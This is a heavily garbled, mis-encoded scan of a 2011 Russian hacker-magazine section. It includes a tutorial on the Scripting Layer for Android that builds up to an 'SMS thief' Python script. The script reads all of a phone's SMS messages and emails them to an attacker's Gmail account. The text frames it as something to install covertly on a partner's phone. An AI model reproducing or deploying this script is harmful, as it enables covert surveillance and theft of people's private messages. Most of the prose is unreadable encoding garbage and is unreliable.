ÓÁË É ÇÅÆÓ ÏÓ ÓÆÂà ÒÏÏÂÚÆÎÉà ÎÁ ÐÏØÓÔ :).

Заключение
«ÁË ÃÉÅÉÙÝ, ÑÔËÏÃÏÅÒÓÃÏ ÒÆÑÃÉÒÁ otvet.mail.ru ÎÆ ÏÒÏÂÏ ÂÆÒÐÏËÏÉÓÒà 
Ï ÒÐÁÍÆ Ã ÐÏØÓÏÃÜÖ àÚÉËÁÖ ÒÃÏÉÖ ÐÏÌÝÈÏÃÁÓÆÌÆÊ. « ÒÌÏÃÔ ÒËÁÈÁÓÝ, Ô 
Google É Yahoo ÆÒÓÝ ÁÎÁÌÏÄÉØÎÜÆ ÐÑÏÆËÓÜ, ÎÏ ÓÁÍ ÁÅÑÆÒÁ ÎÆ ÑÁÒËÑÜ-
ÃÁßÓÒà ÎÉ ÐÑÉ ËÁËÉÖ ÏÂÒÓÏàÓÆÌÝÒÓÃÁÖ. ÏÇÆÓ, ÁÅÍÉÎÉÒÓÑÁ×Éà «ÎÁ×É-
ÏÎÁÌÝÎÏÊ ÐÏØÓÏÃÏÊ ÒÌÔÇÂÜ» ÈÁÅÔÍÁÆÓÒà Ï ÒÔÚÆÒÓÃÔßÚÆÊ ÐÑÏÂÌÆÍÆ, 
ÎÏ ÐÏËÁ ØÓÏ ÆÒÓÝ ÃÏÈÍÏÇÎÏÒÓÝ ÆÒÌÉ ÎÆ ÒÐÁÍÉÓÝ, ÓÏ ÖÏÓà ÂÜ ÒÏÂÉÑÁÓÝ 
email-ÁÅÑÆÒÁ Ã ÂÁÈÜ ÅÁÎÎÜÖ, ØÓÏÂÜ ÉÒÐÏÌÝÈÏÃÁÓÝ ÉÖ Ã ÂÔÅÔÚÆÍ. 
³ÁËÁà ÂÁÈÁ ÂÔÅÆÓ ÉÍÆÓÝ ×ÆÎÔ ÖÏÓà ÂÜ ÐÏÓÏÍÔ, ØÓÏ ÏÎÁ ÒÏÅÆÑÇÉÓ ÁÅÑÆÒÁ, 
ÒÄÑÔÐÐÉÑÏÃÁÎÎÜÆ ÐÏ ÉÎÓÆÑÆÒÁÍ ÉÖ ÃÌÁÅÆÌÝ×ÆÃ. ®Á ÒÃÏÆÍ ÏÐÜÓÆ ÍÏÄÔ 
ÒËÁÈÁÓÝ, ØÓÏ ÏÂÖÏÅ ÒÐÁÍ-ÕÉÌÝÓÑÏÃ ÓÏÇÆ ÎÆ àÃÌàÆÓÒà ÒËÏÌÝËÏ-ÎÉÂÔÅÝ 
ÒÌÏÇÎÏÊ ÈÁÅÁØÆÊ: ÑÁÈÅÆÌàÊ É ÃÌÁÒÓÃÔÊ! ³ÝÕÔ, ÎÆ ÓÁ ÐÏÒÌÏÃÉ×Á. À 
ÖÏÓÆÌ ÒËÁÈÁÓÝ, ËÏÎÆØÎÏ «ÑÁÎÅÏÍÉÈÉÑÔÊ É ÒÉÎÏÎÉÍÉÈÉÑÔÊ» :). ®Ô É 
ÎÁÐÏÒÌÆÅÏË: ÏÂÑÁÓÉ ÃÎÉÍÁÎÉÆ ÎÁ ÒÆÑÃÉÒ my.mail.ru. ²ÓÑÁÎÉ×Ü ÞÓÏÊ 
ÒÏ×ÉÁÌÝÎÏÊ ÒÆÓÉ ÓÏÇÆ ËÉÙÁÓ ÐÏÌÝÈÏÃÁÓÆÌÝÒËÉÍÉ ÍÜÌÁÍÉ. ¥ÆÌÁà ÃÏÈ-
ÍÏÇÎÜÍ ÐÏÉÒË ÐÏ ÉÎÓÆÑÆÒÁÍ, ÃÏÈÑÁÒÓÔ É ÍÆÒÓÔ ÐÑÏÇÉÃÁÎÉà. z

Нам рассказывают про защиту от спама :)

Спам-скрипт начал свою работу



>> coding



XÀÊÅÐ  08  /151/  2011 112

 ÉÖÁÉÌ  «Night Storm» ¯ÃØÉÎÎÉËÏÃ  (nstorm90@gmail.com)

CODING

SMS-ÏÎÕÈÒÈÒÅËÜ 
ÄËß ANDROID

 Óñòðîéñòâà íà áàçå ÎÑ Android çàâîåâàëè áîëüøóþ ïîïóëÿðíîñòü è 
ïðèâëåêàþò ê ñåáå âñå áîëüøå âíèìàíèÿ. Ê ñîæàëåíèþ, êîäèíã ïîä 
ýòó ïëàòôîðìó òðåáóåò îïðåäåëåííûõ ñïåöèôè÷åñêèõ íàâûêîâ è çíà-
íèé. À âåäü ÷àñòî áûâàåò íóæíî âñåãî ëèøü íàêèäàòü íåáîëüøîé 
ñêðèïò íà ëþáèìîì Python èëè Ruby! SL4A ãîòîâ ïîìî÷ü òåáå â ýòîì. 

Scripting Layer for Android: èíòåðåñíàÿ ñðåäà 
ðàçðàáîòêè äëÿ ìîáèëüíîãî òåëåôîíà

Преамбула
SL4A ÐÑÆÅÒÓÁÃÌàÆÓ ÒÏÂÏÊ ÒÑÆÅÔ ÑÁÈÑÁÂÏÓËÉ ÅÌà ÍÏÂÉÌÝÎÜÖ ÓÆÌÆÕÏÎÏÃ 
ÎÁ ÂÁÈÆ Android. ̄ ÎÁ ÐÏÈÃÏÌàÆÓ ÒÏÈÅÁÃÁÓÝ, ÑÆÅÁËÓÉÑÏÃÁÓÝ É ÃÜÐÏÌÎàÓÝ 
ÒËÑÉÐÓÜ ÎÁ ÒÌÆÅÔßÚÉÖ àÈÜËÁÖ:  Python, Perl, JRuby, Lua, BeanShell, 
JavaScript, Tcl. ³ÁËÇÆ Ã ÎÆÊ ÑÆÁÌÉÈÏÃÁÎÏ API, ËÏÓÏÑÏÆ ÅÁÆÓ ÅÏÒÓÔÐ 
ÐÑÁËÓÉØÆÒËÉ ËÏ ÃÒÆÍ ÕÔÎË×ÉàÍ É ÐÁÑÁÍÆÓÑÁÍ ÒÉÒÓÆÍÜ Android, É ÅÁÇÆ 
ÐÏÈÃÏÌàÆÓ ÒÏÈÅÁÃÁÓÝ ÞÌÆÍÆÎÓÜ ÐÏÌÝÈÏÃÁÓÆÌÝÒËÏÄÏ ÉÎÓÆÑÕÆÊÒÁ. ³ÁËÉÍ 
ÏÂÑÁÈÏÍ, ÍÜ ÉÍÆÆÍ ÃÏÈÍÏÇÎÏÒÓÝ ÐÉÒÁÓÝ ÏÓÎÏÒÉÓÆÌÝÎÏ ÐÏÌÎÏ×ÆÎÎÜÆ 
ÐÑÏÄÑÁÍÍÜ ÅÌà ÅÁÎÎÏÊ ÐÌÁÓÕÏÑÍÜ ÎÁ ÐÑÉÃÜØÎÏÍ àÈÜËÆ ÐÑÏÄÑÁÍÍÉ-
ÑÏÃÁÎÉà. «ÁË ÃÉÅÉÙÝ, ÐÆÑÆÅ ÎÁÍÉ ÎÆ ÐÑÏÒÓÏ ÓÆËÒÓÏÃÜÊ ÑÆÅÁËÓÏÑ ÐÌßÒ 
ËÏÍÁÎÅÎÁà ÒÓÑÏËÁ, Á ÐÏÌÎÏ×ÆÎÎÁà ÐÌÁÓÕÏÑÍÁ, ÎÁ ÏÒÎÏÃÆ ËÏÓÏÑÏÊ ÐÑÉ 
ÇÆÌÁÎÉÉ ÍÏÇÎÏ ÒÆÑÝÆÈÎÏ ÑÁÒÙÉÑÉÓÝ ÕÔÎË×ÉÏÎÁÌÝÎÏÒÓÝ ÒÃÏÆÄÏ ÓÆÌÆ-

ÕÏÎÁ. °ÑÏÆËÓ ÏÓËÑÜÓÜÊ, É ÉÍÆÆÓ ÃÏËÑÔÄ ÒÆÂà ÏÓÎÏÒÉÓÆÌÝÎÏ ËÑÔÐÎÏÆ É 
ÁËÓÉÃÎÏÆ ÒÏÏÂÚÆÒÓÃÏ. ®ÆÒÍÏÓÑà ÎÁ ÓÏ, ØÓÏ ÎÁ ÍÏÍÆÎÓ ÎÁÐÉÒÁÎÉà ÒÓÁÓÝÉ 
ÅÁÎÎÜÊ ÐÑÏÅÔËÓ ÆÚÆ ÎÁÖÏÅÉÌÒà Ã alpha-ÃÆÑÒÉÉ, ÎÁ ÎÆÍ ÑÆÁÌÉÈÏÃÁÎÏ 
ÎÆËÏÓÏÑÏÆ ËÏÌÉØÆÒÓÃÏ ÃÆÒÝÍÁ ÉÎÓÆÑÆÒÎÜÖ ÃÆÚÆÊ. ®ÁÐÑÉÍÆÑ, ÔÐÑÁÃ-
ÌÆÎÉÆ ÑÏÂÏÓÁÍÉ ÐÑÉ ÐÏÍÏÚÉ ÍÏÂÉÌÝÎÏÄÏ ÓÆÌÆÕÏÎÁ, ÐÏÅÑÏÂÎÆÆ ÍÏÇÎÏ 
ÔÈÎÁÓÝ ÏÂ ÞÓÏÍ Ã ÂÌÏÄÆ cellbots.com. 

Установка
¯ÎÁ ÐÑÏÉÒÖÏÅÉÓ Ã ÅÃÁ ÞÓÁÐÁ: ÒÎÁØÁÌÁ ÎÔÇÎÏ ÒËÁØÁÓÝ É ÔÒÓÁÎÏÃÉÓÝ ÒÁÍÔ 
SL4A, ÈÁÓÆÍ ÉÈ-ÐÏÅ ÎÆÆ ÉÎÒÓÁÌÌÉÑÏÃÁÓÝ android-ÃÆÑÒÉß ÎÔÇÎÏÄÏ 
ÓÆÂÆ ÒËÑÉÐÓÏÃÏÄÏ àÈÜËÁ. ²ËÁØÁÓÝ apk-ÕÁÊÌ ÍÏÇÎÏ ÎÁ ÒÁÊÓÆ ÐÑÏÆËÓÁ 
(ÒÍ. ÃÑÆÈËÔ), ÌÉÂÏ ÃÏÒÐÏÌÝÈÏÃÁÓÝÒà QR–ËÏÅÏÍ. ²ÌÆÅÔßÚÉÍ ÐÔÎËÓÏÍ 

Scripting 
Layer 
for Android
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ÎÔÇÎÏ ÔÒÓÁÎÏÃÉÓÝ ÐÑÉÌÏÇÆÎÉÆ, ÐÑÆÅÃÁÑÉÓÆÌÝÎÏ ÃËÌßØÉÃ 
Ã ÎÁÒÓÑÏÊËÁÖ «¥ÏÃÆÑàÓÝ ÎÆÉÈÃÆÒÓÎÜÍ ÉÒÓÏØÎÉËÁÍ». °Ï-
ÒÌÆ ÈÁÐÔÒËÁ ÍÜ ÔÃÉÅÉÍ ÐÆÑÆÅ ÒÏÂÏÊ ÓÆÍÎÏÆ ÏËÏÙËÏ ÂÆÈÏ 
ÃÒàËÏÊ ÅÏÐÏÌÎÉÓÆÌÝÎÏÊ ÉÎÕÏÑÍÁ×ÉÉ. £ÜÈÜÃÁÆÍ ÍÆÎß 
É ÃÜÂÉÑÁÆÍ ViewÆ Interpreters. £ ÅÁÎÎÏÍ ÒÌÔØÁÆ Ô ÎÁÒ 
ÂÔÅÆÓ ÅÏÒÓÔÐÆÎ ÓÏÌÝËÏ Shell – ËÏÍÁÎÅÎÁà ÒÓÑÏËÁ, Ã ËÏÓÏÑÏÊ 
ÃÜÐÏÌÎàÆÓÒà ÂÏÌÝÙÉÎÒÓÃÏ unix-ËÏÍÁÎÅ. ̧ ÓÏÂÜ ÔÒÓÁÎÏÃÉÓÝ 
ÉÎÓÆÑÆÒÔßÚÉÊ ÓÆÂà ÒËÑÉÐÓÏÃÜÊ àÈÜË, ÏÐàÓÝ ÃÜÈÜÃÁÊ 
ÍÆÎß, ÎÁÇÉÍÁÊ Add, É ÐÆÑÆÅ ÓÏÂÏÊ ÐÑÆÅÒÓÁÎÆÓ ÒÐÉÒÏË ÅÏ-
ÒÓÔÐÎÜÖ àÈÜËÏÃ. £ÜÂÏÑ ÌßÂÏÄÏ ÉÈ ÎÉÖ ÐÑÉÃÆÅÆÓ Ë ÒËÁØÉ-
ÃÁÎÉß ÔÒÓÁÎÏÃÏØÎÏÄÏ apk-ÕÁÊÌÁ. ÆÎà ÉÎÓÆÑÆÒÔÆÓ àÈÜË 
Python, ÐÏÞÓÏÍÔ à ÃÜÂÑÁÌ É ÔÒÓÁÎÏÃÉÌ ÆÄÏ. ³ÁËÇÆ ÓÜ ÍÏÇÆÙÝ 
ÒËÁØÁÓÝ ÌßÂÜÆ ÎÆÏÂÖÏÅÉÍÜÆ ÕÁÊÌÜ ÎÁ ÒÁÊÓÆ ÐÑÏÆËÓÁ, ÌÉÂÏ 
ÈÁÂÑÁÓÝ ÉÖ Ò ÅÉÒËÁ. °ÏÒÌÆ ÔÒÓÁÎÏÃËÉ Ã ÓÆÌÆÕÏÎÆ ÐÏàÃÉÓ-
Òà ÐÑÉÌÏÇÆÎÉÆ Python for Android, ÈÁÐÔÒÓÉÃ ËÏÓÏÑÏÆ, ÓÜ 
ÔÃÉÅÉÙÝ ÆÅÉÎÒÓÃÆÎÎÔß ËÎÏÐÏØËÔ «Install», ÐÏ ÎÁÇÁÓÉß ÎÁ 
ËÏÓÏÑÔß, ÐÑÏÄÑÁÍÍÁ ÒËÁØÁÆÓ É ÑÁÒÐÁËÔÆÓ ÃÒÆ ÎÆÏÂÖÏÅÉÍÜÆ 
ÆÊ ÕÁÊÌÜ. ³ÆÐÆÑÝ, ÆÒÌÉ ÒÎÏÃÁ ÈÁÊÓÉ Ã SL4A, ÓÜ ÏÂÎÁÑÔ-
ÇÉÙÝ, ØÓÏ Ã ÎÆÊ ÐÏàÃÉÌÉÒÝ ÎÆÒËÏÌÝËÏ ÃÆÒÝÍÁ ÐÏÌÆÈÎÜÖ 
ÐÑÉÍÆÑÏÃ ÒËÑÉÐÓÏÃ ÎÁ Python. ³ÆÐÆÑÝ ÍÏÇÎÏ ÒÏ ÒÐÏËÏÊÎÏÊ 
ÅÔÙÏÊ ÐÑÉÒÓÔÐÁÓÝ Ë ÒÁÍÏÍÔ ÉÎÓÆÑÆÒÎÏÍÔ – ËÏÅÉÎÄÔ.

Hello world!
®ÆÒÍÏÓÑà ÎÁ ÓÏ, ØÓÏ ÎÁÐÉÒÁÎÉÆ Hello World — ÈÁÎàÓÉÆ ÎÆ-
ÒÌÏÇÎÏÆ ÐÑÁËÓÉØÆÒËÉ ÎÁ ÌßÂÏÍ àÈÜËÆ ÐÑÏÄÑÁÍÍÉÑÏÃÁÎÉà, 
à ÑÁÒÒÍÏÓÑß ÅÁÎÎÜÊ ÐÑÉÍÆÑ Ò ÓÏÊ ×ÆÌÝß, ØÓÏÂÜ ÑÁÈÛàÒ-
ÎÉÓÝ ÎÆËÏÓÏÑÜÆ ÏÒÏÂÆÎÎÏÒÓÉ ÑÁÂÏÓÜ Ã ÐÑÏÄÑÁÍÍÆ. ¥ÁÃÁÊ 
ÒÎÏÃÁ ÈÁÊÅÆÍ Ã ÒÐÉÒÏË ÉÎÓÆÑÐÑÆÓÁÓÏÑÏÃ (ÆÎß Æ View 
Æ Interpreters), ÓÁÍ Ô ÎÁÒ ÔÇÆ ÅÏÌÇÆÎ ÐÏàÃÉÓÝÒà Python. 
¨ÁÐÔÒÓÉÍ ÆÄÏ, ÏÓËÑÏÆÓÒà ÐÑÉÃÜØÎÁà ËÏÍÁÎÅÎÁà ÒÓÑÏËÁ, ÄÅÆ 
ÓÜ ÍÏÇÆÙÝ ÎÁÐÉÒÁÓÝ print "Hello world" É ÔÂÆÅÉÓÝÒà, ØÓÏ 
ÃÒÆ ÑÁÂÏÓÁÆÓ.
¡ÎÁÌÏÄÉØÎÜÍ ÏÂÑÁÈÏÍ ÓÜ ÍÏÇÆÙÝ ÃÜÐÏÌÎàÓÝ ÌßÂÜÆ 
ËÏÍÁÎÅÜ, Á ËÏÄÅÁ ÎÁÉÄÑÁÆÙÝÒà — ÈÁËÑÜÃÁÊ ÓÆÑÍÉÎÁÌ 
ËÏÍÁÎÅÏÊ  exit() É ÂÔÅÝ ÄÏÓÏÃ ËÁÐÆÌÝËÔ ÔÒÌÏÇÎÉÓÝ ÐÑÆÅ-
ÒÓÁÃÌÆÎÎÜÊ ÐÑÉÍÆÑ. £ÆÑÎÉÒÝ ÉÈ ÍÆÎß ÉÎÓÆÑÐÑÆÓÁÓÏÑÏÃ 

Ã ÏÒÎÏÃÎÏÆ ÏËÎÏ, ÃÜÈÏÃÉ ÍÆÎß, ÎÁÇÍÉ Add Æ Python, É 
ÐÑÏÄÑÁÍÍÁ  ÒÏÈÅÁÒÓ ÎÁÍ ÎÏÃÜÊ py–ÕÁÊÌ, Ã ËÏÓÏÑÏÍ ÐÏ 
ÔÍÏÌØÁÎÉß ÂÔÅÔÓ ÒÌÆÅÔßÚÉÆ ÒÓÑÏËÉ:

import android
droid = android.Android()

²ÍÜÒÌ ÉÖ, ÅÔÍÁß, ÐÏÎàÓÆÎ: ÉÍÐÏÑÓÉÑÔÆÓÒà ÍÏÅÔÌÝ, ÐÑÆÅÏ-
ÒÓÁÃÌàßÚÉÊ ÕÔÎË×ÉÏÎÁÌ ÑÁÂÏÓÜ Ò ÒÉÒÓÆÍÏÊ, É ÒÏÈÅÁÆÓÒà 
ÏÂÛÆËÓ droid.  ³ÆÐÆÑÝ — ÒÁÍÏÆ ÉÎÓÆÑÆÒÎÏÆ: ÍÜ ÓÁËÇÆ ÍÏÇÆÍ 
ÎÁÐÉÒÁÓÝ Ã ÕÁÊÌÆ print «Hello world», Á ÍÏÇÆÍ ÃÜÃÆÒÓÉ hello 
world Ã ÒÉÒÓÆÍÎÏÍ alert-ÏËÏÙËÆ ÐÑÉ ÐÏÍÏÚÉ API. «ÏÅ ÅÌà 
ÞÓÏÄÏ ÂÔÅÆÓ ÃÜÄÌàÅÆÓÝ ÒÌÆÅÔßÚÉÍ ÏÂÑÁÈÏÍ:

import android
droid = android.Android()
# țȘȢȤȢȖȔșȠȥȳ ȢȕȯȫȡȯȠ ȥȣȢȥȢȕȢȠ
h = "hello world"
print h
# țȘȢȤȢȖȔșȠȥȳ ȣȤȜ ȣȢȠȢȭȜ API
droid.dialogCreateAlert(h, h)
droid.dialogShow()

±ÆÈÔÌÝÓÁÓ ÃÜÐÏÌÎÆÎÉà ÞÓÏÊ ÐÑÏÄÑÁÍÍÜ ÍÏÇÎÏ ÔÃÉÅÆÓÝ ÎÁ 
ÒËÑÉÎÙÏÓÆ. DialogCreateAlert ÉÍÆÆÓ ÅÃÁ ÐÁÑÁÍÆÓÑÁ: ÈÁ-
ÄÏÌÏÃÏË É ÓÆÌÏ ÒÏÏÂÚÆÎÉà. ³ÁËÇÆ ÔÃÆÅÏÍÉÓÝ ÐÏÌÝÈÏÃÁÓÆÌà 
ÍÏÇÎÏ ÂÜÒÓÑÜÍ É ÎÆÂÏÌÝÙÉÍ ÒÏÏÂÚÆÎÉÆÍ makeToast («³ÃÏÆ 
ÒÏÏÂÚÆÎÉÆ»). 
³ÁËÉÍ ÏÂÑÁÈÏÍ ÐÆÑÆÅ ÎÁÍÉ ÐÑÆÅÒÓÁÆÓ ÐÑÏÒÓÁà É ÍÏÚÎÁà 
ÒÉÒÓÆÍÁ ÅÌà ÐÏÒÓÑÏÆÎÉà ÒÏÂÒÓÃÆÎÎÜÖ ÐÑÉÌÏÇÆÎÉÊ ÉÌÉ ÎÁ-
ÐÉÒÁÎÉà ÒËÑÉÐÓÏÃ ÅÌà ÏÂÌÆÄØÆÎÉà ËÁËÉÖ-ÌÉÂÏ ÐÏÃÒÆÅÎÆÃÎÜÖ 
ÈÁÅÁØ, ÐÑÉ ÞÓÏÍ ÓÆÂÆ ÎÉØÆÄÏ ÎÆ ÓÑÆÂÔÆÓÒà, ËÑÏÍÆ ÒÏÂÒÓÃÆÎ-
ÎÏÄÏ ÓÆÌÆÕÏÎÁ! ̧ ÓÏÂÜ ÏÂÌÆÄØÉÓÝ ÎÁÍ ÇÉÈÎÝ, ÑÁÈÑÁÂÏÓØÉËÉ 
ÃÒÓÑÏÉÌÉ API browser, ÐÑÉ ÐÏÍÏÚÉ ËÏÓÏÑÏÄÏ ÍÏÇÎÏ ÂÜÒÓÑÏ 
ÎÁÖÏÅÉÓÝ É ÅÏÂÁÃÌàÓÝ ÎÆÏÂÖÏÅÉÍÜÆ ËÏÍÁÎÅÜ. ̧ ÓÏÂÜ ÅÏ-
ÂÁÃÉÓÝ ÓÑÆÂÔÆÍÔß ËÏÍÁÎÅÔ, ÎÔÇÎÏ ÈÁÅÏÌÂÉÓÝ ÆÆ ÅÏÌÄÉÍ ÎÁÇÁ-
ÓÉÆÍ, É Ã ÐÏàÃÉÃÙÆÍÒà ÍÆÎß ÎÁÇÁÓÝ <Insert>. ³ÁËÉÍ ÏÂÑÁÈÏÍ 
ÒÏÈÅÁÎÉÆ ÅÁÇÆ ÅÏÃÏÌÝÎÏ ÒÌÏÇÎÜÖ ÒËÑÉÐÓÏÃ ÎÆ ÐÏËÁÇÆÓÒà 
ÓÆÂÆ ÏÒÏÂÆÎÎÏ ÔÒÓÑÁÙÁßÚÉÍ. ³ÆÐÆÑÝ, ÅÌà ÈÁËÑÆÐÌÆÎÉà ÐÑÏÊ-
ÅÆÎÎÏÄÏ ÍÁÓÆÑÉÁÌÁ, ÑÁÒÒÍÏÓÑÉÍ «ÂÏÆÃÏÊ» ÐÑÉÍÆÑ.

SMS-вор
°ÑÆÅÌÁÄÁß ÅÌà ÐÑÁËÓÉËÉ ÎÁÐÉÒÁÓÝ ÒËÑÉÐÓ, ËÏÓÏÑÜÊ ÒÏ-
ÂÆÑÆÓ ÃÒÆ SMS Ô ÎÆÈÁÅÁØÌÉÃÏÄÏ ÐÏÌÝÈÏÃÁÓÆÌà É ÏÓÐÑÁÃÉÓ 
ÉÖ ÎÁÍ ÎÁ ÐÏØÓÔ.

²ÁÊÓ ÐÑÏÆËÓÁ:
http://code.google.
com/p/android-
scripting/.

links

HTTP://WWW

£ÒÆ ÅÆÊÒÓÃÉà ÏÐÉ-
ÒÁÎÜ ÉÒËÌßØÉÓÆÌÝÎÏ 
Ã ÏÂÑÁÈÏÃÁÓÆÌÝÎÜÖ 
×ÆÌàÖ, ÁÃÓÏÑ É ÑÆÅÁË-
×Éà ÎÆ ÎÆÒÔÓ ÎÉËÁËÏÊ 
ÏÓÃÆÓÒÓÃÆÎÎÏÒÓÉ ÈÁ 
ÓÃÏÉ ÅÆÊÒÓÃÉà.

warning

WARNING

£ÒÆ ÒÏÑ×Ü Ë ÒÓÁÓÝÆ 
ÇÅÔÓ ÓÆÂà ÎÁ ÎÁÙÆÍ 
ÅÉÒËÆ.

dvd

DVD

Здороваемся с миром из Python

QR-код для SL4A
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# -*- coding: utf-8 -*-
import android, smtplib, os
droid = android.Android()
# ǭșȢȕȩȢȘȜȠȯș ȣșȤșȠșȡȡȯș
mailfrom = "ȢȦȞȧȘȔ ȢȦȣȤȔȖȟȳȦȰ"
mailto = "ȞȧȘȔ ȢȦȣȤȔȖȟȳȦȰ"
lines = ""
# ȣȢȟȧȫȔșȠ ȥȢȢȕȭșȡȜȳ
result = droid.smsGetMessages(False)
# ȢȕȤȔȕȔȦȯȖȔșȠ ȤșțȧȟȰȦȔȦ Ȝ ȨȢȤȠȜȤȧșȠ ȦșȟȢ ȣȜȥȰȠȔ
for f in result[1]:
 for value in f.values():
     lines = lines+str(value.encode('utf-8'))+ '\n'
print lines
# ȢȦȥȯȟȔșȠ ȣȢȟȧȫșȡȡȯș ȘȔȡȡȯș ȡȔ ȣȢȫȦȧ
mailSend = smtplib.SMTP("smtp.gmail.com",587)
mailSend.ehlo()
mailSend.starttls()
mailSend.ehlo()
mailSend.login(mailfrom,"ȣȔȤȢȟȰ ȢȦ ȳȭȜȞȔ")
mailSend.sendmail(mailfrom, mailto, lines)
mailSend.close()

«ÁË ÃÉÅÉÙÝ, ÒËÑÉÐÓ ÐÏÌÔØÉÌÒà ÅÏÃÏÌÝÎÏ ÐÑÏÒÓÜÍ. ¥ÁÃÁÊ ÐÑÏÂÆÇÉÍÒà 
ÐÏ ÎÆÍÔ É ÑÁÈÛàÒÎÉÍ ÏÒÎÏÃÎÜÆ ÍÏÍÆÎÓÜ. £ ÐÆÑÆÍÆÎÎÜÆ mailfrom É 
mailto ÎÔÇÎÏ ÈÁÂÉÓÝ ÁÅÑÆÒÁ àÚÉËÏÃ, Ò ËÏÓÏÑÜÖ ÓÜ ÂÔÅÆÙÝ ÏÓÐÑÁÃÌàÓÝ 
É ÎÁ ËÏÓÏÑÜÆ ÂÔÅÆÙÝ ÐÑÉÎÉÍÁÓÝ ÐÉÒÝÍÁ, ÒÏÏÓÃÆÓÒÓÃÆÎÎÏ. ̈ ÁÓÆÍ ÐÑÉ 
ÐÏÍÏÚÉ ËÏÍÁÎÅÜ smsGetMessages() ÈÁÂÉÑÁÆÍ ÒÏÏÂÚÆÎÉà. £ ËÁØÆÒÓÃÆ 
ÐÁÑÁÍÆÓÑÁ ÆÊ ÎÁÅÏ ÔËÁÈÁÓÝ, ÐÆÑÆÅÁÃÁÓÝ ÌÉ ÓÏÌÝËÏ ÎÆÐÑÏØÉÓÁÎÎÜÆ 

(True), ÉÌÉ ÃÒÆ ÒÏÏÂÚÆÎÉà (False). ®Á ÂÔÅÔÚÆÆ ÈÁÍÆØÔ, ØÓÏ Ô ÅÁÎÎÏÊ 
ÕÔÎË×ÉÉ ÓÁËÇÆ ÆÒÓÝ É ÃÓÏÑÏÊ, ÎÆÏÂàÈÁÓÆÌÝÎÜÊ ÐÁÑÁÍÆÓÑ: inbox (ÐÏ 
ÔÍÏÌØÁÎÉß) — ÉÈ ËÁËÏÊ ÐÁÐËÉ ØÉÓÁÓÝ ÒÏÏÂÚÆÎÉà, Ã ÅÁÎÎÏÍ ÒÌÔØÁÆ — 
ÃÖÏÅàÚÉÆ. °ÏÒÌÆ ÃÜÐÏÌÎÆÎÉà Ã ÐÆÑÆÍÆÎÎÔß result ÈÁÐÉÙÆÓÒà ÒÐÉÒÏË, 
ËÏÓÏÑÜÊ ÒÏÒÓÏÉÓ ÉÈ ÒÐÉÒËÁ ÒÌÏÃÁÑÆÊ. ̈ ÃÔØÉÓ ÈÁÐÔÓÁÎÎÏ, ÐÏÞÓÏÍÔ 
ÒÍÏÓÑÉ ËÏÅ. °ÆÑÃÜÊ ÒÐÉÒÏË — result, ÒÐÉÒÏË SMS ÒÏÅÆÑÇÉÓÒà Ã ÐÆÑÃÏÍ 
ÆÄÏ ÞÌÆÍÆÎÓÆ, ÐÏÞÓÏÍÔ Ã ÅÁÌÝÎÆÊÙÆÍ à ÑÁÂÏÓÁß ÓÏÌÝËÏ ÒÏ ÒÐÉÒËÏÍ 
result[1], Ã ËÏÓÏÑÏÍ ËÁÇÅÜÊ ÞÌÆÍÆÎÓ — ÞÓÏ ÒÌÏÃÁÑÝ, Á ËÁÇÅÜÊ ÒÌÏÃÁÑÝ 
ÒÏÅÆÑÇÉÓ SMS, ÎÏÍÆÑ ÓÆÌÆÕÏÎÁ É ID ÒÏÏÂÚÆÎÉà. «ÌßØÉ ÍÆÎà ÎÆ ÒÉÌÝÎÏ 
ÉÎÓÆÑÆÒÔßÓ, ÐÏÞÓÏÍÔ à ÉÈÃÌÆËÁß ÓÏÌÝËÏ ÈÎÁØÆÎÉà ÉÈ ËÁÇÅÏÄÏ ÒÌÏÃÁÑà 
É ÈÁÐÉÒÜÃÁß ÉÖ Ã ÒÓÑÏËÔ, ËÏÓÏÑÁà ÈÁÓÆÍ ÂÔÅÆÓ ÏÓÐÑÁÃÌÆÎÁ ÐÏ ÐÏØÓÆ. ¥Ìà 
ÏÓÐÑÁÃËÉ ÐÏ ÐÏØÓÆ Ã API SL4A ÆÒÓÝ ËÏÍÁÎÅÁ sendEmail(), ÎÏ ÏÎÁ ÓÑÆÂÔÆÓ 
ÔØÁÒÓÉà ÐÏÌÝÈÏÃÁÓÆÌà, ËÏÓÏÑÜÊ ÃÑàÅ ÌÉ ÈÁÖÏØÆÓ, ØÓÏÂÜ ÆÄÏ ÃÖÏÅàÚÉÆ 
SMS ÏÓÐÑÁÃÉÌÉÒÝ ÎÆÉÈÃÆÒÓÎÏ ËÏÍÔ. °ÏÞÓÏÍÔ ÐÏÅËÌßØÁÆÍ smtplib É 
ÏÓÐÑÁÃÌàÆÍ ÐÉÒÝÍÏ ÒÁÍÏÒÓÏàÓÆÌÝÎÏ. ³Ü ÍÏÇÆÙÝ ÏÓÐÑÁÃÉÓÝ ÞÓÏ ÐÉÒÝÍÏ 
ÒÁÍÏÍÔ ÒÆÂÆ ÉÌÉ ÎÁ ÅÑÔÄÏÊ àÚÉË. 
¤ÅÆ ÓÁËÏÊ ÐÑÉÍÆÑ ÍÏÇÆÓ ÐÑÉÄÏÅÉÓÝÒà? ¥ÏÐÔÒÓÉÍ, ÓÜ ØÁÒÓÎÜÊ ÅÆÓÆËÓÉÃ, 
É ÏØÆÑÆÅÎÁà ÑÆÃÎÉÃÁà ÇÆÎÁ ÐÏÐÑÏÒÉÌÁ ÃÜàÒÎÉÓÝ, ØÓÏ ÐÉÙÔÓ ÆÆ ÍÔÇÔ 
ßÎÜÆ ÌßÂÏÃÎÉ×Ü. ¥ÁÎÎÜÊ ÒËÑÉÐÓ ÍÏÇÎÏ ÐÑÆÏÂÑÁÈÏÃÁÓÝ Ã apk-ÕÁÊÌ 
(ÐÏÅÑÏÂÎÏÒÓÉ ÈÅÆÒÝ: http://code.google.com/p/android-scripting/wiki/
SharingScripts), ÔÒÓÁÎÏÃÉÓÝ Ã ÓÆÌÆÕÏÎ ÎÆÑÁÅÉÃÏÍÔ ÒÔÐÑÔÄÔ, Á ÇÆÎÆ ÎÁ ÐÏ-
ØÓÔ ÂÔÅÔÓ ÐÑÉÖÏÅÉÓÝ ÃÒÆ ÐÌÁÎÜ ÂÔÅÔÚÉÖ ÐÑÆÌßÂÏÅÆàÎÉÊ :).

Заключение
°ÏÍÉÍÏ ÞÒÞÍÞÒÏË, ÁÎÁÌÏÄÉØÎÜÍ ÒÐÏÒÏÂÏÍ ÐÑÉ ÐÏÍÏÚÉ API (ÃÒà ÎÆÏÂ-
